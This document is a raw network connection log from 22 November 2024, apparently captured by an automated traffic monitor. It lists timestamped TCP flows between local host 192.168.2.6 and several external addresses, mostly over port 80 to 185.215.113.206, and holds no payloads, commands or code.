Nov 22, 2024 14:43:59.189028025 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.189037085 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.189073086 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.189958096 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.190059900 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.190102100 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.191075087 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.191114902 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.191178083 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.191396952 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.192229986 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.192284107 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.192351103 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.192529917 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.193357944 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.193417072 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.193450928 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.194464922 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.194518089 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.194648981 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.195638895 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.195684910 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.195736885 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.195777893 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.196755886 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.196804047 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.196887970 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.197890997 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.197999001 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.198045015 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.199045897 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.199110985 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.199124098 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.199170113 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.208796978 CET	443	49903	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:59.209294081 CET	49903	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:59.209305048 CET	443	49903	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:59.210295916 CET	443	49903	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:59.210354090 CET	49903	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:59.218158960 CET	49903	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:59.218230963 CET	443	49903	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:59.218460083 CET	49903	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:59.218466043 CET	443	49903	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:59.265147924 CET	49903	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:59.276922941 CET	49915	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:43:59.276966095 CET	443	49915	104.117.182.73	192.168.2.6
Nov 22, 2024 14:43:59.277024984 CET	49915	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:43:59.277394056 CET	49916	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:43:59.277427912 CET	443	49916	104.117.182.73	192.168.2.6
Nov 22, 2024 14:43:59.277472973 CET	49916	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:43:59.277523041 CET	49917	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:43:59.277550936 CET	443	49917	104.117.182.73	192.168.2.6
Nov 22, 2024 14:43:59.277611017 CET	443	49904	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:59.277637959 CET	49918	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:43:59.277652025 CET	443	49918	104.117.182.73	192.168.2.6
Nov 22, 2024 14:43:59.277666092 CET	49917	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:43:59.277710915 CET	49918	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:43:59.277898073 CET	49919	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:43:59.277905941 CET	443	49919	104.117.182.73	192.168.2.6
Nov 22, 2024 14:43:59.277992964 CET	49919	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:43:59.278193951 CET	49915	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:43:59.278206110 CET	443	49915	104.117.182.73	192.168.2.6
Nov 22, 2024 14:43:59.278301954 CET	49916	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:43:59.278318882 CET	443	49916	104.117.182.73	192.168.2.6
Nov 22, 2024 14:43:59.278388977 CET	49917	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:43:59.278399944 CET	443	49917	104.117.182.73	192.168.2.6
Nov 22, 2024 14:43:59.278553009 CET	49904	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:59.278561115 CET	443	49904	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:59.278690100 CET	49918	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:43:59.278702021 CET	443	49918	104.117.182.73	192.168.2.6
Nov 22, 2024 14:43:59.278783083 CET	49919	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:43:59.278794050 CET	443	49919	104.117.182.73	192.168.2.6
Nov 22, 2024 14:43:59.279599905 CET	443	49904	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:59.279690981 CET	49904	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:59.280019045 CET	49904	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:59.280069113 CET	443	49904	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:59.280213118 CET	49904	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:59.280220032 CET	443	49904	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:59.287105083 CET	443	49905	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:59.290163994 CET	49905	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:59.290174961 CET	443	49905	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:59.291194916 CET	443	49905	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:59.291244984 CET	49905	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:59.291810036 CET	49905	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:59.291882038 CET	443	49905	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:59.292004108 CET	49905	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:59.320446014 CET	49904	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:59.334461927 CET	49905	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:59.334475040 CET	443	49905	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:59.341459990 CET	443	49902	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:59.341489077 CET	443	49901	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:59.341738939 CET	49902	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:59.341759920 CET	443	49902	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:59.341866970 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.341870070 CET	49901	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:59.341881037 CET	443	49901	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:59.341948032 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.341968060 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.342065096 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.342237949 CET	443	49901	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:59.342492104 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.342541933 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.342595100 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.342673063 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.343132019 CET	443	49902	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:59.343138933 CET	49901	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:59.343204021 CET	49902	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:59.343211889 CET	443	49901	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:59.343580008 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.343619108 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.343656063 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.343892097 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.344036102 CET	49902	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:59.344127893 CET	443	49902	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:59.344377041 CET	49901	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:59.344536066 CET	49902	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:59.344547987 CET	443	49902	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:59.344750881 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.344763994 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.344804049 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.344822884 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.345860958 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.345906973 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.345931053 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.346010923 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.347398043 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.347444057 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.347460985 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.347501993 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.348097086 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.348171949 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.348193884 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.348242998 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.349220037 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.349265099 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.349317074 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.349365950 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.350425005 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.350438118 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.350471020 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.350490093 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.351532936 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.351546049 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.351586103 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.351598978 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.352646112 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.352724075 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.352799892 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.352840900 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.353766918 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.353854895 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.353882074 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.354017019 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.354913950 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.354993105 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.355014086 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.355056047 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.356055021 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.356067896 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.356106997 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.356118917 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.357177019 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.357227087 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.357286930 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.357343912 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.358338118 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.358397961 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.358418941 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.358453989 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.359611034 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.359663010 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.359694004 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.359739065 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.360603094 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.360651016 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.360702038 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.360764027 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.361742020 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.361798048 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.361850977 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.361939907 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.362874031 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.362886906 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.362941980 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.364029884 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.364100933 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.364120007 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.364149094 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.365232944 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.365286112 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.365312099 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.365397930 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.366266966 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.366306067 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.366329908 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.366343021 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.367391109 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.367439985 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.367485046 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.367526054 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.368851900 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.368906021 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.368937969 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.369031906 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.369734049 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.369781017 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.369811058 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.369868040 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.370842934 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.370901108 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.370938063 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.370990992 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.371946096 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.372065067 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.372169971 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.372227907 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.373091936 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.373112917 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.373150110 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.373171091 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.374206066 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.374254942 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.374404907 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.374583960 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.375371933 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.375386000 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.375420094 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.376482964 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.376502991 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.376524925 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.376548052 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.377609968 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.377661943 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.377692938 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.377737045 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.378739119 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.378845930 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.378909111 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.379961014 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.380012989 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.380084991 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.380295038 CET	49905	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:59.380317926 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.381153107 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.381201982 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.381249905 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.381290913 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.382215977 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.382283926 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.382306099 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.382424116 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.383279085 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.383388042 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.383443117 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.384423018 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.384493113 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.384541035 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.384609938 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.385555983 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.385606050 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.385662079 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.385706902 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.386682034 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.386739969 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.386781931 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.386825085 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.387335062 CET	443	49901	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:59.387830019 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.387887001 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.387968063 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.388014078 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.388957977 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.389010906 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.389054060 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.389213085 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.390126944 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.390140057 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.390189886 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.391196966 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.391272068 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.391346931 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.391426086 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.392355919 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.392406940 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.392458916 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.392508030 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.393500090 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.393543005 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.393567085 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.393580914 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.394670963 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.394701958 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.394754887 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.395509005 CET	49902	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:59.395767927 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.395823002 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.395951033 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.396001101 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.396938086 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.396960020 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.397006989 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.397022009 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.398037910 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.398113966 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.398128033 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.398211956 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.399431944 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.399487972 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.399542093 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.399667025 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.400537014 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.400549889 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.400605917 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.401418924 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.401470900 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.543386936 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.543451071 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.543457985 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.543498993 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.543929100 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.544002056 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.544063091 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.544780970 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.544871092 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.544892073 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.544950962 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.545886040 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.545936108 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.546004057 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.546051979 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.547041893 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.547095060 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.547247887 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.547333956 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.548182011 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.548230886 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.548285961 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.548331976 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:59.549330950 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:59.549459934 CET	80	49819	185.215.113.206	192.168.2.6
